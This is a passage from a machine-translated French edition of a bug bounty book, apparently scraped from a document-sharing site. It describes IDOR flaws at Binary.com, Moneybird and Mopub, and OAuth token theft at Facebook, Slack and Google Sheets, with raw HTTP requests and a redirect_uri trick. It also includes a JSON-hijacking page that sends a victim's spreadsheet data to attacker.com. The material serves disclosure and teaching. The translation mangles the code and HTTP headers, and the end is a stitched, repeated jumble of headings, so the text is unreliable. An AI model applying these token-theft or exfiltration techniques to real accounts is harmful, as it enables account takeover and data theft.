d'identification. En d’autres termes, le site vous traitera comme le propriétaire du compte que vous venez
de fournir.
Encore une fois, il suffisait de connaître le numéro de compte de quelqu'un. Vous pouvez même modifier
l'événement se produisant dans l'iframe en PAYOUT pour appeler une action de paiement sur un autre
compte. Cependant, Binary.com indique que tous les retraits nécessitent un examen manuel par une
personne, mais cela ne signifie pas nécessairement qu'ils auront été détectés�
Points à retenir
Si vous recherchez des vulnérabilités basées sur l'authentification, soyez à l'affût de l'endroit où les
informations d'identification sont transmises à un site. Bien que cette vulnérabilité ait été détectée en
examinant le code source de la page, vous auriez également pu remarquer les informations transmises
lors de l'utilisation d'un intercepteur proxy.
Si vous constatez qu'un certain type d'informations d'identification est transmis, notez qu'elles ne semblent
pas cryptées et essayez de jouer avec elles. Dans ce cas, le code PIN était simplement CRXXXXXX tandis que le
mot de passe était 0e552ae717a1d08cb134f132� il est clair que le code PIN n'était pas crypté alors que le mot
de passe l'était. Les valeurs non chiffrées représentent un bon domaine avec lequel commencer à jouer.
2. Création d'application Moneybird
Difficulté: Moyen
URL: https://moneybird.com/user/applications
Date de déclaration: 3 mai 2016
Prime payée: 100$
Description:
En mai 2016, j'ai commencé à tester les vulnérabilités de Moneybird. Ce faisant, j'ai commencé à tester les
autorisations de leur compte utilisateur, en créant une entreprise avec le compte A, puis en invitant un deuxième
utilisateur, le compte B, à rejoindre le compte avec des autorisations limitées. Si vous n'êtes pas familier avec leur
plate-forme, les utilisateurs ajoutés peuvent être limités à des rôles et autorisations spécifiques, notamment les
factures, les devis, les opérations bancaires, etc. Dans ce cadre, les utilisateurs disposant d'autorisations complètes
peuvent également créer des applications et activer l'accès à l'API, avec chaque application ayant ses propres
autorisations OAuth (ou étendues dans le jargon OAuth). Soumettre le formulaire pour créer une application avec
toutes les autorisations ressemblait à :
POSTE/utilisateur/applicationsHTTP/1.1
Hôte:moneybird.com
Agent utilisateur:Mozilla/5.0 (Windows NT 6.1 ; rv:45.0) Gecko/20100101 Firefox/45.0
Accepter:texte/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accepter la
langue:fr-US,en;q=0.5 Accepter-Encodage:gzip, dégonfler, br DNT:1
Référent:https://moneybird.com/user/applications/new
Biscuit:_moneybird_session=XXXXXXXXXXXXXXX ; ordinateur_de confiance=
Connexion:fermer
Type de contenu:application/x-www-form-urlencoded
Longueur du contenu:397
utf8=%E2%9C%93&authenticity_token=SUPPRIMÉ&doorkeeper_application%5Bname%5D=TWDApp&t\
oken_type=access_token&administration_id=ABCDEFGHIJKLMNOP&scopes%5B%5D=sales_invoice\
s&scopes%5B%5D=documents&scopes%5B%5D=estimates&scopes%5B%5D=bank&scope s%5B
%5D=paramètres&doorkeeper_application%5Bredirect_uri%5D=&commit=Enregistrer
Comme vous pouvez le constater, l'appel comprend unid_administration, qui s'avère être l'identifiant du
compte des entreprises auxquelles les utilisateurs sont ajoutés. Ce qui est encore plus intéressant, c'est
que bien que le numéro de compte soit un numéro à 18 chiffres (au moment de mes tests), il a été
immédiatement divulgué à l'utilisateur ajouté au compte après s'être connecté via l'URL. Ainsi, lorsque
l'utilisateur B s'est connecté, il (ou plutôt moi) a été redirigé vers le compte A à l'adresse https://
moneybird.com/ABCDEFGHIJKLMNOP(basé sur notre exemple d'identifiant ci-dessus),
ABCDEFGHIJKLMOP étant l'identifiant d'administration.
Avec ces deux informations, il était tout à fait naturel d'utiliser mon utilisateur invité, l'utilisateur B, pour essayer de
créer une application pour l'entreprise de l'utilisateur A, même s'il n'avait pas reçu l'autorisation explicite de le faire.
En conséquence, avec l'utilisateur B, j'ai créé une deuxième entreprise dont l'utilisateur B était propriétaire et dont il
contrôlait totalement (c'est-à-dire que l'utilisateur B avait toutes les autorisations sur le compte B et pouvait créer des
applications pour celui-ci, mais n'était pas censé avoir l'autorisation de créer applications pour le compte A). Je suis
allé sur la page des paramètres du compte B et j'ai ajouté une application, interceptant l'appel POST pour remplacer
l'administration_id par celui de l'URL du compte A et cela a fonctionné. En tant qu'utilisateur B, j'avais une application
avec des autorisations complètes sur le compte A, même si mon utilisateur n'avait que des autorisations limitées pour
la facturation.
Il s'avère qu'un attaquant pourrait utiliser cette vulnérabilité pour contourner les autorisations de la plate-
forme et créer une application avec toutes les autorisations à condition qu'elle soit ajoutée à une entreprise ou
qu'elle compromette un compte utilisateur, quelles que soient les autorisations de ce compte utilisateur. Bien
qu'il ait été mis en ligne peu de temps auparavant et qu'il ait sans aucun doute été inondé de rapports,
Moneybird a résolu le problème et a payé dans le mois. C'est vraiment une excellente équipe avec laquelle
travailler, que je recommande.
Points à retenir
Les tests pour les IDOR nécessitent une observation approfondie ainsi que des compétences. Lorsque
vous examinez les requêtes HTTP pour détecter les vulnérabilités, soyez à l'affût des identifiants de
compte comme l'administration_id ci-dessus. Tandis que le nom du champ,id_administrationest un
peu trompeur par rapport à son nomidentifiant de compte, être un entier simple était un signal
d'alarme indiquant que je devrais le vérifier. De plus, étant donné la longueur du paramètre, il aurait
été difficile d'exploiter la vulnérabilité sans faire beaucoup de bruit sur le réseau, en devant répéter les
requêtes pour rechercher le bon identifiant. Si vous trouvez des vulnérabilités similaires, pour
améliorer votre rapport, soyez toujours à l'affût des réponses HTTP, des URL, etc. qui divulguent des
identifiants. Heureusement pour moi, l'identifiant dont j'avais besoin était inclus dans l'URL du compte.
3. Vol de jetons de l'API Twitter Mopub
Difficulté: Moyen
URL: https://mopub.com/api/v3/organizations/ID/mopub/activate
Date de déclaration: 24 octobre 2015
Prime payée: 5 040 $
Description:
En octobre 2015, Akhil Reni (https://hackerone.com/wesecureapp) a signalé que l'application Mopub de Twitter
(une acquisition de Twitter en 2013) était vulnérable à un bug IDOR qui permettait aux attaquants de voler des
clés API et finalement de s'emparer du compte d'une victime. Il est intéressant de noter cependant que les
informations sur le piratage du compte n'étaient pas fournies avec le rapport initial : elles ont été fournies 19
jours plus tard via un commentaire, heureusement avant que Twitter ne paie une prime.
Selon son rapport, cette vulnérabilité était due à un manque de validation des autorisations sur l'appel
POST au point de terminaison activate de Mopub. Voici à quoi cela ressemblait :
POSTE/api/v3/organizations/5460d2394b793294df01104a/mopub/activateHTTP/1.1 Hôte:
tissu.io
Agent utilisateur:Mozilla/5.0 (Windows NT 6.3 ; WOW64 ; rv:41.0) Gecko/20100101 Firefox/41.0
Accepter:*/*
Accepter la langue:fr-US,en;q=0.5
Accepter-Encodage:gzip, dégonfler
Jeton X-CSRF:0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A= Type de contenu:
application/x-www-form-urlencoded ; jeu de caractères = UTF-8 X-CRASHLYTICS-DEVELOPER-
TOKEN:0bb5ea45eb53fa71fa5758290be5a7d5bb867e77 X-Demandé-Avec:XMLHttpRequête
Référent:https://fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplication/m\
opub
Longueur du contenu : 235
Cookie : <expurgé>
Connexion : keep-alive
Pragma : sans cache
Cache-Control : pas de cache
company_name=dragoncompany&address1=123 street&address2=123&city=hollywood&state=cal\
ifornia&zip_code=90210&country_code=US&link=false
Ce qui a donné lieu à la réponse suivante :
{"mopub_identity":{"id":"5496c76e8b15dabe9c0006d7","confirmed":true,"primary":false,\
"service":"mopub","token":"35592"},"organisation":{" id": "5460d2394b793294df01104a", "\
name "test", "alias": "test2", "api_key": "8590313c7382375063c2fe279a4487a98387767a", "e\
nrollments": {"beta_distribution": "true"},"accounts_count ":3,"apps_counts":{"android"\
:2},"sdk_organization":true,"build_secret":"5ef0323f62d71c475611a635ea09a3132f037557\
d801503573b643ef8ad82054","mopub_id":"33525"}}
Dans ces appels, vous verrez que l’identifiant de l’organisation a été inclus dans l’URL, comme dans l’exemple 2
ci-dessus. Dans la réponse, Mopub confirme l'identifiant de l'organisation et fournit également l'api_key.
Encore une fois, comme dans l'exemple ci-dessus, bien que l'identifiant de l'organisation soit une chaîne
indevinable, il a été divulgué sur la plate-forme, dont les détails n'ont malheureusement pas été partagés dans
cette divulgation.
Maintenant, comme mentionné, une fois le problème résolu, Akhil a signalé à Twitter que cette
vulnérabilité aurait pu être exploitée pour prendre complètement le contrôle du compte de la
victime. Pour ce faire, l'attaquant devrait récupérer la clé API volée et la remplacer par le secret de
build dans l'URL.https://app.mopub.com/complete/htsdk/?code=BUILDSECRET&next=%2d.
Après cela, l'attaquant aurait accès au compte Mopub de la victime et à toutes les applications/
organisations de la plateforme de développement mobile de Twitter, Fabric.
Points à retenir
Bien que similaire à l'exemple de Moneybird ci-dessus, dans la mesure où les deux nécessitaient
d'abuser des identifiants d'organisation divulgués pour élever les privilèges, cet exemple est
formidable car il démontre la gravité de la possibilité d'attaquer des utilisateurs à distance, sans
aucune interaction de leur part et la nécessité de démontrer une approche complète. exploiter.
Initialement, Akhil n'a pas inclus ni démontré la prise de contrôle complète du compte et, d'après la
réponse de Twitter à sa mention (c'est-à-dire en demandant des détails et les étapes complètes pour le
faire), ils n'ont peut-être pas pris en compte cet impact lors de la résolution initiale de la vulnérabilité.
Ainsi, lorsque vous signalez, assurez-vous de prendre pleinement en compte et de détailler l’impact
complet de la vulnérabilité que vous signalez, y compris les étapes pour la reproduire.
Résumé
Les vulnérabilités IDOR se produisent lorsqu'un attaquant peut accéder ou modifier une référence à
un objet qui devrait en réalité être inaccessible à cet attaquant. Ils constituent une grande
vulnérabilité à tester et à trouver, car leur complexité va du simple, exploitant des entiers simples
par addition et soustraction, au plus complexe, où des UUID ou des identifiants aléatoires sont
utilisés. Dans le cas où un site utilise des UUID ou des identifiants aléatoires, tout n'est pas perdu. Il
peut être possible de deviner ces identifiants ou de trouver des endroits où le site divulgue les
UUID. Cela peut inclure des réponses JSON, des réponses de contenu HTML et des URL, à titre
d'exemples.
Lors du signalement, veillez à réfléchir à la manière dont un attaquant peut exploiter la vulnérabilité. Par
exemple, alors que mon exemple Moneybird nécessitait l'ajout d'un utilisateur à un compte, un attaquant
pourrait exploiter l'IDOR pour contourner complètement les autorisations de la plateforme en compromettant
n'importe quel utilisateur du compte.
19. OAuth
Description
Selon le site OAuth, il s'agit d'un protocole ouvert permettant une autorisation sécurisée selon une
méthode simple et standard à partir d'applications Web, mobiles et de bureau. En d'autres termes,
OAuth est une forme d'authentification utilisateur qui permet aux utilisateurs d'autoriser des sites Web
ou des applications à accéder à leurs informations à partir d'un autre site sans divulguer ni partager leur
mot de passe. Il s'agit du processus sous-jacent qui vous permet de vous connecter à un site en utilisant
Facebook, Twitter, LinkedIn, etc. Il existe deux versions d'OAuth, 1.0 et 2.0. Ils ne sont pas compatibles
entre eux et pour les besoins de ce chapitre, nous travaillerons avec la version 2.0.
Étant donné que le processus peut être assez déroutant et que la mise en œuvre présente de nombreux
risques d'erreurs, j'ai inclus une superbe image deCelui de Philippe Harewood1blog décrivant le
processus général :
1https://www.philippeharewood.com
OAuth 162
Philippe Harewood - Processus OAuth Facebook
Décomposons cela. Pour commencer, vous remarquerez trois titres en haut :Navigateur de l'utilisateur
,Le code côté serveur de votre applicationetAPI Facebook. En termes OAuth, ce sont en fait les
Propriétaire de la ressource,ClientetServeur de ressources. L'essentiel à retenir est que votre
navigateur exécutera et traitera un certain nombre de requêtes HTTP pour vous faciliter la tâche, comme
lePropriétaire de la ressource, instruisant leServeur de ressourcespour permettre auClient accès à vos
informations personnelles, telles que définies par les périmètres demandés. Les étendues sont comme
des autorisations et contrôlent l’accès à des informations spécifiques. Par exemple, les étendues
Facebook incluent l'e-mail, public_profile, user_friends, etc. Ainsi, si vous accordez uniquement l'étendue
de l'e-mail, un site ne peut accéder qu'à ces informations Facebook et non à vos amis, votre profil, etc.
Cela dit, passons en revue les étapes.
Étape 1
Vous pouvez voir que le processus OAuth démarre le navigateur de l'utilisateur et un utilisateur clique sur « Se connecter
avec Facebook ». En cliquant dessus, vous recevrez une requête GET sur le site où vous vous trouvez. Le chemin ressemble
généralement à quelque chose commewww.example.com/oauth/facebook.
OAuth 163
Étape 2
Le site répondra par une redirection 302 qui demandera à votre navigateur d'effectuer une
requête GET vers l'URL définie dans l'en-tête d'emplacement. L'URL ressemblera à ceci :
https://www.facebook.com/v2.0/dialog/oauth?client_id=123
&redirect_uri=https%3A%2F%2Fwww.example.com%2Foauth%2Fcallback
&response_type=code&scope=email&state=XYZ
Il y a quelques éléments importants dans cette URL. Tout d’abord, le client_id identifie le
site d’où vous venez. Le redirect_uri indique à Facebook où vous renvoyer après avoir
autorisé le site (leclient) pour accéder aux informations définies par le scope, également
incluses dans l'URL.
Ensuite, le type de réponse indique à Facebook ce qu'il doit renvoyer, cela peut être un jeton ou un
code. La différence entre ces deux est importante, un code est utilisé par le site autorisé (le client)
pour rappeler leServeur de ressources, ou Facebook dans notre exemple, encore une fois pour
obtenir un jeton. D'un autre côté, demander et recevoir un jeton lors de ce premier arrêt fournirait
un accès immédiat auserveur de ressourcespour interroger les informations du compte tant que
ce jeton était valide.
Enfin, la valeur d'état agit comme un type de protection CSRF. Le site demandeur (leclient)
devraient l'inclure dans leur appel initial auserveur de ressourceset il doit renvoyer la
valeur pour garantir que a) la demande d'origine a été invoquée par le site et b) la réponse
n'a pas été falsifiée.
Étape 3
Ensuite, si un utilisateur accepte la boîte de dialogue OAuth et accorde leclientautorisations à leurs

informations sur leserveur de ressources, ou Facebook dans notre exemple, il répondra au
navigateur avec une redirection 302 vers le site (client), défini par redirect_uri et inclut un code ou
un jeton, en fonction du type de réponse (il s'agit généralement de code) dans l'URL initiale.
Étape 4
Le navigateur fera une requête GET au site (client), y compris les valeurs de code et d'état
fournies par leserveur de ressourcesdans l'URL.
Étape 5
Le site (client) doit valider la valeur de l'état pour garantir que le processus n'a pas été falsifié
et utiliser le code avec son client_secret (qu'eux seuls connaissent) pour faire une requête GET
auserveur de ressources, ou Facebook ici, pour un jeton.
OAuth 164
Étape 6
Leserveur de ressources, ou Facebook dans cet exemple, répond au site (client) avec un jeton qui
autorise le site (client) pour effectuer des appels API vers Facebook et accéder aux étendues que vous
avez autorisées à l'étape 3.
Maintenant, en gardant tout ce processus à l'esprit, une chose à noter est qu'après avoir autorisé le
site (client) pour accéder auserveur de ressources, Facebook dans cet exemple, si vous visitez à
nouveau l'URL de l'étape 2, le reste du processus sera effectué entièrement en arrière-plan, sans
aucune interaction requise de l'utilisateur.
Ainsi, comme vous l'avez peut-être deviné, une vulnérabilité potentielle à rechercher avec OAuth est
la possibilité de voler des jetons que leserveur de ressourcesRetour. Cela permettrait à un
attaquant d'accéder auserveur de ressourcesau nom de la victime, accéder à tout ce qui était
autorisé via les champs d'application de l'autorisation de l'étape 3. D'après mes recherches, cela est
généralement dû à la capacité de manipuler le redirect_uri et de demander un jeton au lieu d'un
code.
Donc, la première étape pour tester cela arriveÉtape 2. Lorsque vous êtes redirigé vers leserveur de
ressources, modifiez le type de réponse et voyez si leserveur de ressourcesrenverra un jeton. Si tel est
le cas, modifiez le redirect_uri pour confirmer la façon dont le site ou l'application a été configuré. Ici, du
OAuthserveurs de ressourcespeuvent être eux-mêmes mal configurés et autoriser des URL telles que
www.example.ca, www.example.com@attacker.com , etc. Dans le premier exemple, l'ajout de .ca modifie
en fait le domaine du site. Donc, si vous pouvez faire quelque chose de similaire et acheter le domaine,
les jetons seront envoyés à votre serveur. Dans le deuxième exemple, l'ajout de @ modifie à nouveau
l'URL, en traitant la première moitié comme le nom d'utilisateur et le mot de passe à envoyer à
l'attaquant.com.
Chacun de ces deux exemples fournit le meilleur scénario possible pour vous en tant que pirate
informatique si un utilisateur a déjà accordé l'autorisation d'accéder au site (client). En revisitant
l'URL désormais malveillante avec un type de réponse et un redirect_uri modifiés, leserveur de
ressources reconnaîtrait que l'utilisateur a déjà donné son autorisation et renverrait
automatiquement le jeton à votre serveur sans aucune interaction de sa part. Par exemple, via un
malware<img>avec lesrcattribut pointant vers l’URL malveillante.
Maintenant, en supposant que vous ne puissiez pas rediriger directement vers votre serveur, vous pouvez
toujours voir si leserveur de ressourcesacceptera différents sous-domaines, comme test.example.com ou
différents chemins, comme www.example.com/attacker-driven. Si la configuration redirect_uri n'est pas stricte,
cela pourrait entraîner leserveur de ressourcesenvoyer le jeton à une URL que vous contrôlez. Cependant,
vous devrez combiner à cela une autre vulnérabilité pour réussir à voler un jeton. Trois façons de procéder
sont une redirection ouverte, demandant une image distante ou un XSS.
En ce qui concerne la redirection ouverte, si vous êtes en mesure de contrôler le chemin et/ou le sous-domaine
vers lequel la redirection est redirigée, une redirection ouverte fera fuir le jeton de l'URL dans l'en-tête du
référent qui est envoyé à votre serveur. Autrement dit, une redirection ouverte vous permettra de renvoyer un
utilisateur vers votre site malveillant et ce faisant, la requête adressée à votre serveur
OAuth 165
inclure l'URL d'où provient la victime. Depuis leserveur de ressourcesenvoie la victime vers la
redirection ouverte et que le jeton est inclus dans cette URL, le jeton sera inclus dans l'en-tête de
référence que vous recevez.
En ce qui concerne une image distante, il s'agit d'un processus similaire à celui décrit ci-dessus sauf que,
lorsque leserveur de ressourcesredirige vers une page qui comprend une image distante de votre
serveur. Lorsque le navigateur de la victime fait la demande de l'image, l'en-tête de référence de cette
demande inclura l'URL. Et comme ci-dessus, puisque l’URL inclut le jeton, celui-ci sera inclus dans la
requête adressée à votre serveur.
Enfin, en ce qui concerne le XSS, si vous parvenez à trouver un XSS stocké sur n'importe quel sous-
domaine/chemin vers lequel vous êtes redirigé ou un XSS réfléchi dans le cadre de redirect_uri, un
attaquant pourrait exploiter cela pour utiliser un script malveillant qui prend le jeton de l'URL et l'envoie à
leur serveur.
En gardant tout cela à l’esprit, ce ne sont là que quelques-unes des façons dont OAuth peut être utilisé à mauvais escient. Il y
en a bien d’autres, comme vous l’apprendrez grâce aux exemples.
Exemples
1. Glisser les jetons d'accès officiels de Facebook
Difficulté: Haut
URL: facebook.com
Lien de rapport:Philippe Harewood - Glisser les jetons d'accès officiels de Facebook2
Prime payée: Non dévoilé
Description:
Dans son article de blog détaillant cette vulnérabilité, Philippe commence par décrire comment il a voulu
tenter de capturer les tokens Facebook. Cependant, il n'a pas réussi à trouver un moyen d'interrompre
leur processus OAuth pour lui envoyer des jetons. Au lieu de cela, il a eu l’ingénieuse idée de rechercher
une application Facebook vulnérable dont il pourrait s’emparer. Très similaire à l’idée d’un rachat de
sous-domaine.
Il s'avère que chaque utilisateur de Facebook dispose d'applications autorisées par son compte mais qu'il
ne peut pas utiliser explicitement. Selon son article, un exemple serait « Onglet Contenu d'une page sur
www » qui charge certains appels API sur les pages de fans Facebook. La liste des applications est
disponible en visitant https://www.facebook.com/search/me/apps-used.
2http://philippeharewood.com/swiping-facebook-official-access-tokens
OAuth 166
En parcourant cette liste, Philippe a réussi à trouver une application mal configurée et pouvant être utilisée de
manière abusive pour capturer des jetons avec une requête qui ressemblait à :
https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&client_id=A\
PP_ID&redirect_uri=REDIRECT_URI
Ici, l'application qu'il utiliserait pour l'APP_ID disposait de toutes les autorisations déjà
autorisées et mal configurées - ce qui signifie que les étapes 1 et 2 du processus décrit dans la
description OAuth étaient déjà terminées et que l'utilisateur ne recevrait pas de fenêtre
contextuelle. d'accorder l'autorisation à l'application parce qu'ils l'avaient déjà fait ! De plus,
comme le REDIRECT_URI n'appartenait pas à Facebook, Philippe pourrait en fait le reprendre.
Ainsi, lorsqu'un utilisateur clique sur son lien, il sera redirigé vers :
http://REDIRECT_URI/access_token_appended_here
Philippe pourrait utiliser cette adresse pour enregistrer tous les jetons d'accès et reprendre les comptes
Facebook ! Ce qui est encore plus génial, selon son message, une fois que vous disposez d'un jeton
d'accès officiel à Facebook, vous avez accès aux jetons d'autres propriétés appartenant à Facebook,
comme Instagram ! Tout ce qu'il avait à faire était d'appeler Facebook GraphQL (une API permettant
d'interroger les données de Facebook) et la réponse inclurait un access_token pour l'application en
question.
Points à retenir
Lorsque vous recherchez des vulnérabilités, réfléchissez à la manière dont les actifs obsolètes peuvent
être exploités. Lorsque vous effectuez du piratage, soyez à l'affût des modifications apportées aux
applications qui peuvent exposer des ressources comme celles-ci. Cet exemple de Philippe est génial
car il a commencé par identifier un objectif final, voler des jetons OAuth, puis trouver les moyens de le
faire.
De plus, si vous avez aimé cet exemple, vous devriez consulterLe blog de Philippe3
(inclus dans le chapitre Ressources) et l'interview Hacking Pro Tips qu'il m'a
demandé de faire - il fournit de nombreux bons conseils !
2. Voler des jetons Slack OAuth
Difficulté: Faible
URL: https://slack.com/oauth/authorize
3https://www.philippeharewood.com
4http://hackerone.com/reports/2575
OAuth 167
Date de déclaration: 1er mai 2013
Prime payée: 100$
Description:
En mai 2013,Prakhar Prasad5a signalé à Slack qu'il était capable de contourner leurs
restrictions redirect_uri en ajoutant un suffixe de domaine au domaine de redirection autorisé
configuré.
Ainsi, dans son exemple, il a créé une nouvelle application sur https://api.slack.com/
applications/new avec un redirect_uri configuré sur https://www.google.com. Ainsi, en testant
cela, s'il essayait redirect_uri=http://attacker.com, Slack refusait la demande. Cependant, s'il
soumettait redirect_uri=www.google.com.mx, Slack autorisait la demande. Essayer redirect_-
uri=www.google.com.attacker.com était également autorisé.
En conséquence, tout ce qu'un attaquant avait à faire était de créer le sous-domaine approprié sur son
site correspondant au redirect_uri valide enregistré pour l'application Slack, de demander à la victime de
visiter l'URL et Slack enverrait le jeton à l'attaquant.
Points à retenir
Bien qu'un peu ancienne, cette vulnérabilité montre comment les validations OAuth redirect_uri
peuvent être mal configurées parserveurs de ressources. Dans ce cas, c’est l’implémentation
d’OAuth par Slack qui a permis à un attaquant d’ajouter des suffixes de domaine et de voler des
jetons.
3. Voler des feuilles de calcul Google Drive
Difficulté: Moyen
URL: https://docs.google.com/spreadsheets/d/KEY
Lien de rapport:https://rodneybeede.com6
Date de déclaration: 29 octobre 2015
Prime payée: Non dévoilé
Description:
En octobre 2015, Rodney Beede a découvert une vulnérabilité intéressante dans Google qui aurait pu
permettre à un attaquant de voler des feuilles de calcul s'il connaissait l'ID de la feuille de calcul. Cela
était le résultat d'une combinaison de facteurs, notamment le fait que les requêtes HTTP GET de Google
n'incluaient pas de jeton OAuth, ce qui créait une vulnérabilité CSRF, et la réponse était
5https://hackerone.com/prakharprasad
6https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html
OAuth 168
un objet Javascript valide contenant JSON. En lui tendant la main, il a eu la gentillesse de

permettre que l'exemple soit partagé.
Avant le correctif, l'API de visualisation de Google permettait aux développeurs d'interroger Google Sheets pour
obtenir des informations provenant de feuilles de calcul stockées dans Google Drive. Cela serait accompli par une
requête HTTP GET qui ressemblait à :
https://documents.Google.com/feuilles de calcul/d/IDENTIFIANT/gviz/tq?en-têtes=2&ampli;gamme=A1:H&ampli;feuille\ =
Feuille1&ampli;merci=ID requis%3A0
Les détails de l'URL ne sont pas importants, nous ne les détaillerons donc pas. Ce qui est important,
c'est que lors de cette demande, Google n'a pas inclus ni validé le jeton OAauth soumis, ni tout
autre type de protection CSRF. En conséquence, un attaquant pourrait invoquer la demande au nom
de la victime via une page Web malveillante (exemple gracieuseté de Rodney) :
1 <html>
2 <tête>
3 <script>
4 var google = nouvel objet (); google.visualisation = new Object();
5 google.visualization.Query = new Object();
6 google.visualization.Query.setResponse = fonction (marchandises)
7 {
8 google.response = JSON.stringify(goods, non défini, 2);
9 }
dix </script>
11
12 
13 <scripttapez="texte/javascript"src="https://docs.google.com/spreadsheets/d/1bWK2\
14 wx57QJLCsWh-jPQS07-2nkaiEaXPEDNGoVZwjOA/gviz/tq?headers=2&range=A1:H&sheet=S\
15 heet1&tqx=reqId%3A0"></script>
16
17 <script>
18 fonction contrebande (marchandises) {
19 document.getElementById('cargo').innerText = marchandises;
20 document.getElementById('hidden').submit();
21 }
22 </script>
23 </tête>
24
25 <corpsen charge ="contrebande (google.response);">
26 <formulaireaction="https://attacker.com/capture.php"méthode="POSTE"identifiant="caché"> <zone de
27 texteidentifiant="cargaison"nom="cargaison"lignes ="35"colonnes="70"></textarea> </form>
28

ZRETRTT

Transféré par

Informations du document

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

ZRETRTT

Transféré par

Droits d'auteur :

Formats disponibles

Traduit de Anglais vers Français - www.onlinedoctranslator.

Reprise de sous-domaine 139

Site Modulus Wild Card revendiqué

Frans Rosen Bonjour tout le monde

6. Prise de contrôle du courrier Uber SendGrid

Date de déclaration: 4 août 2016

Prime payée: 10 000$

1. Pointez l'enregistrement MX d'un domaine/nom d'hôte ou d'un sous-domaine vers mx.sendgrid.net

Configuration de l'analyse entrante SendGrid à l'aide de ngrok.io

Confirmation de la prise de contrôle du sous-domaine via un e-mail analysé

En revenant à l'exemple de transfert ci-dessus, la logique de l'application serveur pourrait ressembler à :

1. Recevez la requête HTTP pour transférer de l'argent

1. Conditions de course Starbucks

Date de déclaration: 21 mai 2015

# préparer les détails du transfert dans les deux sessions

curl starbucks/step1 -H <<Cookie : session=session1>> --data <<amount=1&from=wallet1&\

2. Accepter les invitations HackerOne plusieurs fois

Date de déclaration: 28 février 2016

Prime payée: Guirlande

1. Le serveur reçoit la demande et analyse le jeton

Conditions de course d'invitation HackerOne

3. Dépassement des limites d'invitation à la base de clés

Date de déclaration: 5 février 2015

Prime payée: 350$

Date de déclaration: 12 avril 2017

Prime payée: 1000$

1. Augmentation des privilèges Binary.com

Date de déclaration: 14 novembre 2015

Prime payée: 300$

2. Création d'application Moneybird

Date de déclaration: 3 mai 2016

Prime payée: 100$

3. Vol de jetons de l'API Twitter Mopub

Date de déclaration: 24 octobre 2015

Prime payée: 5 040 $

Ce qui a donné lieu à la réponse suivante :

Philippe Harewood - Processus OAuth Facebook

Cela dit, passons en revue les étapes.

Ensuite, si un utilisateur accepte la boîte de dialogue OAuth et accorde leclientautorisations à leurs

1. Glisser les jetons d'accès officiels de Facebook

Lien de rapport:Philippe Harewood - Glisser les jetons d'accès officiels de Facebook2

Date de déclaration: 29 février 2016

Prime payée: Non dévoilé

2. Voler des jetons Slack OAuth

Date de déclaration: 1er mai 2013

Prime payée: 100$

3. Voler des feuilles de calcul Google Drive

Date de déclaration: 29 octobre 2015

Prime payée: Non dévoilé

un objet Javascript valide contenant JSON. En lui tendant la main, il a eu la gentillesse de

27 texteidentifiant="cargaison"nom="cargaison"lignes ="35"colonnes="70"></textarea> </form>

Vous aimerez peut-être aussi